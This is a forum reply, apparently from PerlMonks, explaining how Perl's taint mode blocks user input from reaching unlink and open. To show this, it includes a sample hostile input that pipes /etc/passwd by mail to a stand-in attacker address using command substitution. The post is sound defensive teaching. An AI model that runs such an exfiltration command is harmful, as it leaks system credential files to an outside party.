in reply to Re^4: Insecure dependency in open
in thread Insecure dependency in open
It's dangerous because it comes from a dirty, untrustworthy, malicious creature (i.e. the user). They can feed in anything they want on STDIN:
$ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink: + $!\n";' /etc/passwd Insecure dependency in unlink while running with -T switch at -e line +1, <STDIN> line 1. $ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);op +en( FOO, $foo ) or die "unlink: $!\n";' mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/nul +l | Insecure dependency in piped open while running with -T switch at -e l +ine 1, <STDIN> line 1.
If you want to allow this, you have to explicitly validate (by means of some form of untainting) the input; and on your head be it if you do it wrong.
Update: And as to your question about -t STDIN, that shouldn't be a problem because it's testing a property of the handle not using any input from the handle.
$ perl -T -le 'print "tty" if -t STDIN' tty
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^6: Insecure dependency in open
by argv (Pilgrim) on Jan 22, 2007 at 22:07 UTC | |
by ikegami (Patriarch) on Jan 22, 2007 at 22:27 UTC |